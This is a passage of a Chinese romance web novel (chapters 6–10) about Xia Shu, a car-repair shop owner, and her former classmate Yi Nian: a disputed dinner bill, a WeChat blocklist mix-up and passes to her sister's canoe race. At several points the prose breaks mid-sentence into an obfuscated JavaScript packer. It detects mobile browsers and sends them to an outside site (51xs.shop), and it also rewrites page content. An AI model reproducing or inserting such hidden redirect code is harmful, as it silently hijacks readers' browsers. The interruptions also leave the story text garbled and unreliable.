“钱?什么钱?” “饭钱,听说你昨天把单买了。” “那个啊,”夏树抬起牛奶喝了一口,“不用给我,你姐医药费都没让我们出,请她吃个饭是应该的。” “还请她吃饭,”易年冷哼一声,“你在她地盘请她吃饭,钱多烧手?” 夏树没懂易年的意思,眉间露出疑惑。 易年又说,“那是她的会所,今天才知道你买了单,让我把钱还你。” ……难怪。 昨天夏树趁上卫生间去找服务员结账,一开始服务员说她那一桌签单,不用给钱,后来在她再三坚持下,才成功买了买了单。 直到走出会所,都没听易雯溪或是易年提起她结账的事,她还以为他们已经知道了。 夏树语气坚决:“不用,那顿饭就当给你姐赔罪了,钱别给我,给我我也不会要。” 怕易年还要坚持还钱,夏树端起了周雨唯的咖啡和她的牛奶,起身就要走,“没什么事我就先走了。” 才迈出两步,易年就叫住她。 “等等。” “还有事?”夏树回头。 易年原本正看着她,在夏树回过头两秒后,他的眼帘逐渐下阖,不知在琢磨什么。 感觉不像是还要继续说还她钱的样子,她便在原地等着易年开口。 半晌。 易年抬眼,模样气定神闲:“我把你妹的比赛信息发你。” “……哦,好。” 听见是和夏林比赛有关,夏树重新做回椅子。 时隔四年的省运会皮划艇预赛将在不久后举行,夏林要参加单人4000米和双人500米两个项目。 皮划艇比赛一般来说不会设观众席,就连家属也没法观赛。 那天一起吃饭时,一桌人聊起了夏林的皮划艇项目,才知道那个比赛的赞助商是易雯溪的朋友,易雯溪就说到时候可以让朋友弄几个出入证,带着夏树一起进去观赛。 听易年刚刚这话的意思,发比赛信息给她,应该是要把她微信加回来。 她把手上的杯子放回桌面,正从裤兜掏着手机,易年散漫的腔调再次响起。 “你,把我放出来。” 7. 第 7 章 夏树怀疑自己眼神出了问题。 因为有那么一个瞬间,她似乎在易年脸上看到了小心翼翼的表情。 是她从来没见过的样子。 少时的易年骄傲矜贵,鲜衣怒马,松弛又肆意。 好像任何事都不会在他心中起波澜。 她嘴巴微微张开,匪夷所思地重复一遍:“把你放出来?” “什么叫……把你放出来。” “微信。” 夏树迅速将组装了一下易年的话。 微信,把他放出来? 把他微信,放出来? 把他放出来,微信? 怎么组合都像病句,或许是他又玩起了什么文字游戏。 夏树也懒得去猜,直接问他:“你什么意思啊,能不能说清楚点。” 易年直接气笑了:“说你是白眼狼还真是一点都没说错!” 夏树抱起双臂,一只脚搭在膝盖上:“哎,你有病吧!这三个字就这么顺口?” 易年没应声,瞥她一眼,便垂眸戳起了手机。 她真的看不懂易年的所言所行。 分明头一天一起吃饭时他看上去很正常,怎么过了一夜又变得这么……刻薄。 不过,也可能是头一天易雯溪在,他就有所收敛,此刻只有她和他两个人,易年就可以随心所欲。 夏树还在腹诽着易年的割裂行为,易年突然将手机扬在了她面前。 “你自己看看!” 他的手掌握着手机的上半部分屏幕,露出来的下面一半屏幕显示着微信聊天框的键盘。 视线上移,她先是看见一个红色感叹,后面绿色聊天气泡里的文字没有看清。 红色感叹号和键盘的空隙里,还有一行灰色的小字。 夏树还想再凑近手机一些,易年就迅速按了锁屏。 “我还以为,昨天一起吃了饭,咱两的……”他停顿片刻,眼眸不易察觉地晃动了一下,“之前的事应该就翻篇了,没想到你还没把我从黑名单放出来。” “你说那个是我?别搞笑了!”夏树指着他的手机,觉得不可理喻,“你属狗的吧,分明是你把我删了,还在这反咬一口。” “不认?” 易年扯着唇,笑容傲慢。 “莫名其妙!我从来没做过的事你让我认什么?” 易年万般无奈地摇了摇头,叹了口气,笃定地抬着下巴:“死鸭子嘴硬!你自己打开你的微信黑名单看看不就知道了。” 他的表情实在坚定,夏树被他说的有点自我怀疑。 但是她真的没有拉黑过易年,就连当初跟他不欢而散之后,无论是Q/Q还是微信,都没想过要删了他或是拉黑他。 她将信将疑地打开微信,指尖一顿:“我找不到黑明单在哪。” 从来没有拉黑过任何一个好友,自然找不到黑名单。 易年挑眉戳了几下手机:“我在群里发了个消息,你自己从我头像点进去看。” 夏树怔楞片刻,照易年的话点开了高中班级群,最新的消息是好几个同学发的问号。 页面上拉,看见了易年发的:【夏树是猪】 “你才是猪。” 她白了他一眼。 易年浅挑着眉,懒得搭理她。 接着,夏树点开易年的头像—— !!! 【已添加至黑名单,你将不再收到对方的消息】 那一排灰色的小字特别显眼。 “我什么时候……”夏树心虚了,“还真的把你拉黑了?” 易年散漫地点头:“如你所见。” “什么时候的事?我怎么,记不得。” 夏树先前的嚣张气焰彻底消失。 她真不记得有这一回事。 “有一次……” 易年语调拖得很慢,“你喝了酒,打视频过来对我发酒疯,挂了视频不解气,还连续发了好多语音来骂我,再然后……” 他的话戛然而止。 “再然后什么?” “就把我拉黑了。” “听上去,怎么这么假!” 不是说不信拉黑他这件事,因为事实已经摆在眼前。 夏树酒量不好,他说的喝了酒拉黑他这个事也不是完全没有可能。 可是她发视频过去发酒疯骂他,她不信。 很可能是易年添油加醋说的。 “我这还留着你发过来的语音呢,要不然我放出来给你听听?” 易年当着她的面解锁了手机。 夏树期待地看着他。 他盯着屏幕出神几秒,又说:“算了。” 夏树的好奇和怀疑彻底被勾了起来:“我不信,除非你给我看看。” 说着,夏树站了起来,伸手就要去拿易年的手机。 易年反应迅速,在夏树碰到他的手机之前,他就将手机举过头顶。 “手短,就别为难自己。” 语气很欠。 夏树被这话一激,打定主意要从他手上把手机夺过来。 “你就吹牛吧,要是里面真像你说的那种,我当场给你表演一个生吞手机。” 她继续伸手去够,易年却迅捷地将手机换到了另一只手,在半空摇晃了几下,还挑衅般地扬了扬眉:“还是算了吧,手机太大了,我怕你噎到。” 她放话:“你有本事就别让我拿到!” 易年扯着唇:“你可以试试。” 夏树面无表情地瞥着他。 他那模样真的很欠揍!所以,不拿到手机誓不罢休。 她的动作没对方快,如果他举着手机,确实很难拿到。 想了想,夏树决定两只手先在空中虚晃一枪,然后等易年把手机放到矮处,她再硬抢。 于是,预判好易年的动作,夏树两只手分别伸向了易年的肩膀上方。 易年果真如她所料,将手放下,藏到背后。 来不及多想,夏树以迅雷不及掩耳之势,抬手朝易年后背环过去。 可就在她向前一步的同时,绊到了易年的脚尖,虽极力维持着平衡,却还是摔到了易年身上。 她的双臂杵在他的双肩,牙齿不偏不倚磕到了他的额头。 “……” 易年身上清淡的香水味悄无声息地钻进夏树的鼻腔,她的大脑一片空白,脸颊迅速升温,身体却完全不能动弹。 片刻后,反应过来这个离谱的姿势,夏树骤然从易年身上弹开。 夏树:“那个……” 易年:“你干嘛?” 两人的声音同时响起,又同时停住。 夏树老老实实回到椅子上,不太自然地抬眼看向易年。 他抬手轻触着额头,手掌挡住了脸颊,看不到神色,只看见他的脖颈和耳廓有些泛红。 夏树无所适从地将目光渐渐下移,看见易年那只绊到自己的脚。 她抱怨地踢了下他的脚尖:“你怎么不把脚伸到天上去,还害我摔倒!” “你这是,”易年哼笑出声,“不仅要抢我手机,又要占我便宜,占完便宜还反过来怪我?” “我说你——” 夏树原本想回怼易年,抬眼时却看见易年额头正中发红的皮肤,以及那个被自己牙齿撞凹进去的小坑。 “对不起啊。”她不情不愿地说。 “谁对不起谁?”易年懒散地靠着椅背,“你这道歉的语气,听着像是我的错一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你有病吧易年!”易雯溪觉得不可理喻,“我蹲了那么久的东西,你说卖就卖了?” 易年:“一个包!” 沉默片刻。 电话那头语气果决:“一口价,五个,少一个都没得商量!” 易年挑眉,吸了一口气:“易雯溪,你心够黑的啊,你那套化妆品才多少钱,就要我五个包?” “喂,你搞搞清楚,”易雯溪不屑道,“你姐我缺包吗?缺钱吗?你再啰嗦,那我就缺那套化妆品了!” “行行行,”易年懒洋洋地答应下来,“五个就五个。” 挂了电话,易年给夏树发了信息:【白眼狼】 这次没有显示消息被对方拒收。 很快,夏树就回过来:【?我倒不介意再把你关小黑屋】 易年勾着唇:【测试一下你有没有把我放出来而已】 对方显示正在输入,等了片刻,没收到信息,易年想了想,在聊天框里编辑:“我姐那套化妆品买多了,她说让我自己处理,我没地方扔,你要吗?” 在按下发送之前,他又觉得不太妥当,于是删了重新输:“给你寄样东西,你家地址发”—— 易年指尖停住。 又想到了那个出现在医院的男人。 紧接着,聊天框里的字被他全部删掉。 自嘲般地轻叹:“我这是在干什么……” 8. 第 8 章 出了咖啡厅,周雨唯刚好挂断电话,她的样子急切又烦躁,说公司临时需要开个会,不能陪夏树吃饭。 两人互相叮嘱几句注意安全后便各自返程。 夏树打算按照来时的路线,先乘地铁二号线到终点站大学城,再从大学城打一辆摩的回汽修厂。 今天的二号线异常松散,夏树上了地铁就找到空位坐下。 她对面坐着对情侣,女生靠着男生的肩小憩,两人看上去很疲倦,却掩不住脸上满溢的热恋期幸福感。 男生突然在女生额前落下一个吻。 这个场景,使夏树不由自主地回想起在咖啡厅的那一幕。 当时易年好像还说了句她占他的便宜。 她不自觉抿紧唇,越想越觉得离谱。 怎么那时候就没把要怼他的话说完呢,还给他道歉。 现在想想,当时没否认,可能易年真的会以为她是为了占他便宜才那样做的。 原本他只是说她是白眼狼,估计现在他觉得她是白眼色狼。 夏树也想不明白,好好的老同学再聚首怎么会朝着这个剧情发展。 易年一口一个白眼狼地叫着,她还真不知道自己还有哪里得罪了他。 难说他是因为被自己拉黑了,才这样说。 想到这里,夏树解锁手机,从高中群里找到了易年的微信,把他从黑名单里放了出来。 但到底是什么时候把易年拉黑的,真的完全想不起来。 夏树不想联系的人,都是直接删了微信,再不济像房东阿姨侄子张宙那样,她很讨厌,却又不方便删微信的,她会直接设置成免打扰喝不看对方朋友圈。 没有和易年的聊天记录,她不确定把好友放出黑名单后聊天记录还在不在,便拿周雨唯的微信做了实验,发现放出黑名单之后原来的聊天记录还在。 现在的这个手机已经用了两年多,夏树没有删除聊天记录的习惯,也就是说,她拉黑易年至少也是两年前的事。 如果真像易年所说,她是喝多了拉黑的他,要喝到断片那种程度,至少也是四年前。 她上的职业学校是三年制,头两年在校期间倒是经常和男同学一起喝酒,第三年开始实习,喝多了第二天上班时没力气,从那时便很少喝酒,更没把自己喝醉过。 夏树正费力回想着,手机突然震动了一下,点开微信后,她的眉心皱了起来。 【易年:白眼狼】 她迅速在聊天框打字:【?我倒不介意再把你关小黑屋】 【易年:测试一下你有没有把我放出来而已】 夏树无语地笑出了声。 测试,随便发个表情或者发个符号不比他打出三个字简单? 她直接怀疑,易年连给她的备注都是白眼狼三个字。 夏树在聊天框打出“你是不是有病!”,在按下发送前忍了忍,把所有字删除锁了屏。 还指望着人家的人脉去看夏林比赛,就先不跟他计较了。 - 辗转近一个小时,夏树回到了汽修厂。 连续两天下午都出了门,厂里多多少少堆积了些活。 吃过晚饭后,夏树交代其余三人收工休息,她自己却留在车间,准备换完一辆车的刹车片再上楼休息。 她戴上劳保手套,熟练地用举升机将车子升高,正准备拆下轮胎时,放置在一旁躺椅上的手机响了起来。 她朝手机走过去,看了眼屏幕,摘下手套划了接听,点开免提,又把手套戴上。 “加班结束了?”夏树抬高音量,一边走向车子,一边问。 “可不是吗,刚到家。”周雨唯叹了声气,“牛马的周末就这样草草结束。” 周雨唯学的是电子商务,毕业后就进了离阳市一家连锁甜品企业的电商运营部,加班是家常便饭。 “想开一点!”夏树安慰她,“好歹你们老板有良心,加班都会给工资。” “呵呵!”周雨唯不屑道,“我妈给我开现在工资的两倍,我都没去她美容院!要不是为了从家里独立出来,我能一直待在这鬼公司?” 说话间,轮胎被卸了下来,夏树抡起轮胎内测往旁边挪:“嗐,哪能既要又要啊,知足常乐吧!” 周雨唯听见夏树提轮胎带出的喘息声:“什么声音?你这是在干什么少儿不宜的事?” 轮胎被放置在一边,夏树右手手背叉腰,松了一口气:“下了个轮胎。” “这都几点了,你还在修车啊?” 夏树瞟了眼墙上的挂钟,还不到九点半。 “还早啊,就换个刹车片,三四十分钟的事儿。” 周雨唯挤了下嘴,带着心疼的口气责怪她:“哪有你这样当老板的,只会没日没夜地干活!” 夏树对着手机抬了抬唇,又继续蹲到车旁,开始检查刹车零件:“那不得赶紧赚钱,把债还了心里才踏实。” “本来钱已经攒的差不多了,我还说这两天就转给干妈,谁知道昨天一下花了四千多,现在估计又要再攒个把月。” “打住打住!”周雨唯责令道,“跟你说过多少次,别整天提这个。” 一年多前准备开鑫鑫汽修厂时,夏树手上本金不够,周雨唯知道后向家里借了五万给夏树,虽然周雨唯和她的父母都说不用着急,让夏树慢慢还,但夏树承诺一年内还清。 汽修厂才开起来的前几个月,生意一般,多数时候都很清闲,从今年春天以后,生意开始好了起来,她就开始没日没夜地加班赶工,想趁早把周雨唯家的钱还了。 知道周雨唯不喜欢她提钱,夏树转了话题:“行行行,那聊点别的。你说,想聊什么?” 电话那头静默片刻。 “诶,对了,今天走得急,忘了问你,易年你俩说什么了?你怎么还红着脸跑出来了?” “我脸红?”夏树手上动作一滞,一颗螺丝突然掉落,“没有吧,你看错了,应该就是天太热了。” 周雨唯玩笑道:“他不会是跟你表白了吧?” “表白!怎么可能!”夏树头皮一紧,做了个吞咽动作,附身捡起掉落在地的螺丝,“就、就只是我跟你说过的,他姐姐帮我弄夏林比赛的入场资格,我跟他说的就是这个事。” 电话那头传来洗脸的水流声。 “是吗?”周雨唯将信将疑,“说真的,当年易年对你跟对其他人还真不太一样,他任何东西都可以让你拿去卖,“要不是后来看见他给级花写的情书,我还真以为他喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只说了让夏树别告诉别人是他同意的,让她说成他不知情。 就这样,喜欢易年的女生越多,夏树赚的就越多,那时候的易年在她心里,简直就是财神转世。 周雨唯私下经常会跟她说,易年会不会真的喜欢她。 但每次夏树都说,绝对不可能。 因为易年总是会把那句“我跟你做同桌占了你那边,给你在我身上赚点钱就当是补偿”挂在嘴边。 久而久之,夏树也是这样认为。 - 洗完澡,夏树躺在床上从论坛里扒着各种奇闻异事,准备用来作为新鬼故事的素材。 手机屏幕上方突然跳出一条信息。 易年向她转了2480元。 这串数字有点眼熟,她退出聊天框,从支付记录里找到相同的数字。 说实话,那顿饭吃得夏树肾疼,而且这一笔转账,她看着真的很动心。 但她还是点了退还,并回复:【跟你说了那顿饭我请!】 半分钟后,2480元又被易年转了过来,紧接着易年又发了一条:【那顿不算,钱收回去,改天去其他地方重新请我】 【夏树:不算?请你?】 等了好久,易年回了条语音过来,语气慵懒。 “占我便宜还把我头弄破了,不该补偿?” 9. 第 9 章 手机媒体音量开得小,夏树没听清易年的语音,又点开听了一遍。 “占我便宜还把我头弄破了,不该补偿?” 夏树鄙夷地凝视着自己的手机,像是看到什么脏东西似的,朝着屏幕牢骚了句:“有病,还不轻!” 她是不小心才碰到易年的头,易年不可能不清楚,但他还要这样故意逮着这个事来说,不知道他到底有什么意图。 夏树:【误伤您我深感抱歉,但请您不要误会,我那不是占您便宜,不要强行自我攻略哦,我可一点都看不上您呢】 约莫一分钟,对方还没没回复,她又补了一句:【至于您头上那么重的伤,您不要转钱给我,那顿饭我请了,就当是补偿了】 两条信息发送过去,夏树心里舒坦多了。 聊天框上方显示对方正在输入,可一直没见易年回信,她把钱退了回去,正准备退出聊天,易年又将钱转了过来。 紧接着收到他的一条语音。 “她那里定价太便宜,配不上我的身份。” 人均六百多的消费,还配不上他的身份? 六百块已经够夏树和保钦元、罗超、罗勇四个人吃一个多星期了,结果这位公子哥,还嫌少? 夏树觉得易年就是在没事找事,故意让她不痛快。 她从床上坐了起来,顺了顺气,忍住了想骂人的冲动,平静地回复:【抱歉啊老同学,既然不领情,那你就只把当那顿饭是我请易姐姐的好了,既然是请她,就跟你没什么关系】 【易年:所以你现在想坐实白眼狼的身份?】 夏树:“……” 她是真的不想跟易年扯皮。 也不知道这位爷抽的什么疯,很反常。 要是不顺着他的话说,指不定他又要继续抽风。 夏树敷衍地打字:【好的,尊贵的老同学,下次一定挑一个牛得不行的地方,敲锣打鼓把您请去吃一顿】 【易年:那倒也不必这么高调】 她懒得再搭理易年,怕自己会忍不住激情开麦直接怼他,索性退出微信继续逛着论坛。 没多久,易年的信息又从手机屏幕顶部跳了出来。 【易年:把钱收了】 夏树切到聊天框,咬唇犹豫了几秒,点了收款。 毕竟易雯溪的受伤不轻,而且他们还要让夏树去看夏林比赛,在她的会所请她吃饭没诚意,下次应该换个地方请。 夏树突然想起,下午易年说让她把他从黑名单里放出来,是为了给她发夏林的比赛信息。 可到现在都没收到。 【夏树:对了,我妹比赛怎么入场,你下午不是说要发给我】 【易年:我又没说今天发】 夏树深吸一口气,被气到自言自语:“好啊!干得漂亮啊!” 她发现真的不能跟易年有过多往来,要不然绝对会被气得乳腺结节。 她顺手把易年微信设成消息免打扰,只想专心扒着鬼故事,无论易年再回什么,都放到第二天再看。 同一时刻,易年如释重负般退出夏树的聊天框,给易雯溪发了条语音。 “对了,还有件事,今天中午你会所经理给祖母送点心时候说,昨天那顿饭夏树把账结了,本来也是我们说请她们吃饭的,所以我又把钱还给她了。” - 之后的半个多月,鑫鑫汽修厂所有人忙碌了起来。 市政挖绿化带,进出市区的其他路都破烂不堪,只有汽修厂门前这一条路还算干净。 有的车子从修路的地方绕过来,在进城之前就会顺带着拐进汽修厂把车身的灰尘洗干净,每天洗的车比过年前洗的还多。 抽了个不太忙的上午,夏树和保钦元一起轧了帐,这半个月以来的营业额比以往两个月都多。 “小保,你说我们要不要再买个自动洗车设备回来,车子一进一出钱就到账,多省事。”夏树说。 保钦元戏谑道:“老大,你是真的飘了啊!” 夏树脸色倏地沉下来:“这么跟我说话,你找死啊!” “冤枉啊老大,”保钦元蹙着眉,“我的意思是,在咱们这么小一个院子里,你还想弄个洗车机,你想想,能放哪?” 夏树瘪了瘪嘴,环视了汽修厂一圈,果然是没有地方可以放新的设备了。 营收好起来,她是真的飘了。 保钦元:“而且,之前就听说这边要修路还是干嘛的,万一到时候征地把咱们这里征了,那咱们连老巢都没有,所以现在不能再添设备了。” “呸!你这乌鸦嘴,能不能盼着点好,这里被征了难道对你有好处啊!” 鑫鑫汽修厂附近有一个城中村,前些年就听说这里要拆,但是不知道是哪个环节出了问题,一直都没拆。 当初夏树选这里开汽修厂,一方面是它挨着国道,另一方面是房东阿姨如实说,因为城中村一直说要拆,所以没人敢来租,所以才便宜出租。 夏树签了五年合同,只当捡个漏,赌一把这里五年内不会拆。 保钦元站了起来,假模假样地笑了笑:“你看我,嘴又不把门,老大我错了。”说完一溜烟跑进车间。 夏树把所有账单整理好用崭新的塑封袋装了起来,从微信上提现到银行卡,凑整五万给周雨唯的妈妈转了过去。 没一会儿,周雨唯的电话就打了过来。 夏树正在给一辆车子的内饰吸尘,声音太大没听见铃声,打进来第二遍时,她才注意到,于是关了吸尘器按下接听。 “我刚刚在忙呢,你怎么现在给我打电话,没上班吗?” “我摸鱼给你打的电话,”周雨唯说,“就是还我妈的钱你划多了吧,怎么转了五万二过来,多的那两千我妈让我还给你,是转你微信还是支付宝?” “没多,那两千是利息。” “你什么情况,”周雨唯不乐意了,“我们的关系再谈利息就不合适了吧。” “没有,不管怎么说,一码归一码,而且当时说一年还,现在时间还超了一个多月。” “别啰嗦,我妈就猜到了你会这样说,让我转告你,要是还想认她这个干妈,就别给利息。” “这怎么行,该给的还是要给。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717334|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “夏树!”周雨唯毫不妥协,“你再像这样说,那咱两友谊的小船可要翻了,你最好想清楚。” “别别别!” 夏树也设想过对方不会收她的利息,却没想到周雨唯和她母亲会这么坚决。 拗不过她们,夏树干脆想着之后给她们买点礼物送过去,就当抵了利息。 她睫毛下垂抿了抿唇,“那利息收就一千,咱们各退一步,如果你不收,今后我有任何困难都不敢跟你说了。” “行行行,真拿你没办法,”周雨唯语调温和下来,“对了,我妈问你下周一能不能来家里吃个饭。” “下周?”夏树思索片刻,“恐怕不行,周一正好是夏林比赛开始的日子。” 提起夏林比赛,夏树突然想起易年还没把入场信息发过来。 “行,那你看看时间,比赛结束挑一天叫上夏林一起,就当给她办庆功宴了。” 夏树轻轻叹气:“还不知道能不能出成绩呢。” “哎,不是我说,你作为她亲姐,不给她加油打气,怎么还在这泄气啊?” 夏树又叹了一声气:“我肯定是给她打气的啊,只是她自己压力大,她说这次的参赛选手条件都比她好。” 夏林小学毕业那年,体校下乡招生,夏树的父母听说体校学费便宜,如果参加比赛得了名次还能有奖金,就鼓动夏林上体校。 那时候的夏林和曾经的夏树一样,顺从父母,所以没多想就同意了。 在皮划艇运动员里,夏林个子不高,如今十六岁只有一米六七,只占了臂展长这一个优势。 之前夏林就跟夏树说过,这次比赛每个人身高都比她高,而且教练对她也不太重视,夏林嘴上说着她已经做好了垫底的准备,但其实很想在比赛时获得成绩。 夏树研究过皮划艇的相关事宜,虽然不愿意承认,但事实上确实是身高不占优势的话,要出成绩很难。 周雨唯:“反正尽人事,听天命吧,你妹年纪也还小,拿不到名次就当成是一次历练了。” 周雨唯说她还在工位上,没聊几句就挂了电话。 挂断电话后,夏树看了眼时间,确定今天是周五,也就意味着再过两天就是夏林的皮划艇省赛。 想着易年这个时候还没发信息过来,会不会是忘了,她打算发信息直接问问易年。 点开微信,聊天列表下滑,找到易年的名字,夏树呆住了。 居然忘记了把易年聊天设成免打扰这件事。 那天后半夜,夏树跟保钦元一起去附近国道做了一单道路救援,那辆卡车油泵故障,而且还爆了胎,他俩一直忙活到天亮,回来后倒头就睡,直接忘了易年这一茬。 紧接着汽修厂忙了起来,更是将这件事抛之脑后。 聊天框点开,她看到了易年给她发的一条信息:【……你是想暗示什么?】 视线上移。 “咳咳!” 夏树一噎,手机差点没拿稳。 不知道什么时候的事,她居然给易年发了一条链接! ——“今夜我想爬上你的床”。 10. 第 10 章 难道是灵异事件?不然她怎么不记得给易年发过这个。 夏树当即打开链接,才发现是她之前在论坛看到过的鬼故事。 她自己的微信聊天框,平时用来当备忘录,或者往里发一些鬼故事素材链接,方便整理。 仔细回想,那晚上,明明是发到自己微信里的,怎么会发给易年了。 最有可能的应该是当时昏昏沉沉想睡觉,把鬼故事链接分享到微信时候点错了,结果阴差阳错发给了他。 ……难怪后来重新整合素材的时候没发现这一篇。 但是,他不会以为这个标题“今夜我想爬上你的床”是她意有所指,所以才问她想暗示什么吧。 也不知道易年有没有点开过这个链接。 她记得易年很怕鬼来着,如果他点开了,他会不会以为夏树要故意吓他,所以后来生气了,就一直没发夏林比赛的信息过来。 犹豫几秒,她还是给易年发了个问号过去,想试试易年有没有生气。 发完信息,夏树怕错过对方回复,没把手机装进兜里,而是放在了车子座椅上,继续清理车内饰。 几分钟后屏幕亮了起来,夏树立刻解锁手机。 【易年:欲擒故纵玩腻了?】 “……” 谁家好人欲擒故纵是发鬼故事? 夏树无语地瘪了瘪嘴:“有病!” 不过,易年像这样说,是不是证明他没打开过这个链接。 【夏树:抱歉,这个发错了,不是发给你的】 【易年:那你大半夜的发个鬼故事,想去吓谁?】 他这不是知道里面内容吗,那还说什么欲擒故纵! 【夏树:吓我自己[微笑.jpg]】 【夏树:说正事,之前说的我妹的皮划艇比赛,你还记得吗】 【易年:怎么了】 【夏树:就是,下周就比赛了】 【易年:哦】 这样的提示应该够明显了。 夏树静静盯了屏幕约莫一分钟。 没有收到新信息。 猜测易年可能把这件事忘了。 正在纠结要不要直接跟他说明观赛的事,手机屏幕亮了起来。 夏树立马解了锁,点开微信。 易年发来了一张照片,照片里是一张比赛出入证。 看样子他也没忘。夏树嘴角上扬,直接给易年发了语音:“谢谢老板,祝老板发大财,祝老板越长越帅,桃花越来越旺。” 半分钟后,易年直接打了语音电话过来,语气懒散:“谢我可以,后面的多余了。” “什么?”夏树没懂他的意思。 “我不贪心,目前已经够帅,够有钱了。”他清了清嗓,“桃花也不需要。” 夏树鄙夷地蹙着眉:“你,认真的?” 说自己够帅够有钱,会不会多少有点不要脸? 电话那头语气傲慢:“不然呢?我忙着搞事业,要什么桃花!” “……” 鸡同鸭讲。 夏树扶额吐了口气,“在忙,挂了。” “等等,”易年停顿两秒,“出入证就只多出来这一张,所以就只能你一个人来。” 语气听上去理直气壮。 像是夏树要约很多人去,然后他跳出来阻止似的。 话说回来,这不是易雯溪帮忙走的后门吗,而且之前夏树也没说过还有其他人会去,易年这又是抢的什么功。 懒得与他费口舌,夏树敷衍地答:“嗯,本来就只有我一个人会去。” “你的地址发我,周一早上我来接你。” “你也要去?” “我去那边办点事,顺便,去看看比赛。” 夏树挠了挠头,“那不用麻烦你了,到时候我自己过去就行。 “我姐交代的,”易年懒散地轻咳一声,“不一起去,出入证怎么给你?青龙湖那么大,别说到时候让我们进去了又要给你送出来。” “那,我想想……” “别墨迹,一起去,别给我添麻烦。” 易年语气强硬,夏树从里面听出来“你别不识抬举”的意思。 谁叫自己有求于人呢,只能他说什么便是什么。 “那这样吧,你发我个地址,我周一早上过去跟你们汇合,我这边这段时间到处在修路,挖得乱糟糟的,你过来的话肯定会堵车。” 易年漫不经心嗯了声:“随你。” - 周末两天夏树忙得脚不沾地。 原本打算周一坐地铁去和易年易雯溪汇合,正巧汽修厂香蕉水快用完了,夏树就让保钦元开车去建材城重新谈一家供货商,顺便把她送过去。 在途中,两人聊起了夏林的比赛。 保钦元:“老大,你这同学什么来头,居然可以帮你安排到赛场去。男的女的?长啥样啊?” “他啊?你见过。”夏树懒懒地抬着眉。 “谁啊,雨唯姐?” “不是。”夏树挤了下嘴,“就是你说的白白嫩嫩小帅哥。” 保钦元一脸不可置信:“他还有这本事,没看出来他这么牛逼啊!那他是干什么的?” 易年现在干什么,夏树也没问过,想来应该是继承了家里的红酒庄吧。 “卖红酒。” “那他业绩不得了啊,”保钦元认可地点了点头,“我们去酒吧玩,那些酒水销售一个比一个长得好看,单凭你同学那张脸,应该会有不少富婆买单。” 夏树噗嗤一声笑了出来,说他是酒水销售,感觉怪怪的……怪接地气的。 仔细一想,易年如果接手了红酒庄,说他是酒水销售也不为过。 “嗯,你说得对。” 笑意过后,夏树不忘叮嘱保钦元,“我不在的时候,你们三个能接多少活就接多少活,服务质量才是首要,按时吃饭,该休息就休息。” “知道了老大!”保钦元语调尖锐,“你不是明天就回来了吗,说得好像要去多久似的。” 夏树神色不悦:“你还不耐烦了是吧!” 皮划艇比赛一共持续四天,昨天秩序册发到运动手上,夏林才知道自己的项目比赛时间分别是在周一和周二的上午。 从离阳去到比赛场地青龙湖需要两个多小时,不想来回跑着折腾,夏树就决定在青龙湖景区附近的民宿住一晚,等夏林比完赛再返程。 跟保钦元闲聊着,很快就到了易年发给她的地址,是在南市区的富人集中地,易年在微信上跟她说过这里是易雯溪家。 车子停在别墅区外,还没到跟易年约定好的时间,夏树叫着保钦元一起下车吃个早点。 两人找了一家面馆,一人吃了一个大碗杂酱面,走出面馆时,保钦元吐槽:“不愧是富人区,我们那边十块一碗,他这要二十四,大碗的量还不如我们那边小碗多。” 夏树确实也是这样想的,不仅贵,还难吃。 但是保钦元声音不小,他的话一出,店门口的收银小姑娘就投来鄙夷的目光。 她瞥他一眼:“又没让你给钱,话这么多!” “那不也是你的钱嘛,”保钦元抹了抹嘴,“不行,我得去买瓶可乐漱漱口。” 保钦元问夏树是不是还要牛奶,夏树“嗯”了一声。 说着,他就把车钥匙递给夏树,让夏树先到车上等他。 夏树往车子的方向走,突然发现那辆破旧捷达后面停着一辆车。 虽然平时没有修理过顶级豪车,但她一眼就认出来那是一辆库里南。 她头皮一紧,平时在路上遇到豪车,都要离得远远的,此刻那辆车就正正地停在捷达后面,距离不到一米,总担心下一秒捷达会自己发动蹭上去,然后让她赔个倾家荡产。 拉进与捷达的距离,夏树犹豫着要不要先把车开走,离那辆库里南远一点。 这时,库里南车窗突然降下。 易年的声音从车内传来:“迟到了。” 夏树循声望去,易年正单手扶着方向盘,坐在驾驶座上。 他身上穿着件款式宽松的纯白色poloshirt,松着两颗扣子,正好将喉结和流畅的颈部线条露了出来。 看见易年是车主,夏树倒也不算意外,对她来说贵的东西,对人家来说可能只是一件玩意儿。 她瘪了瘪嘴,按亮手机看了一眼时间,只比约定的时间晚了两分钟。 她敷衍地抬头,对上他那双干净而明亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717335|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼:“哦。” 说完就去捷达上把随身携带的背包取了出来。 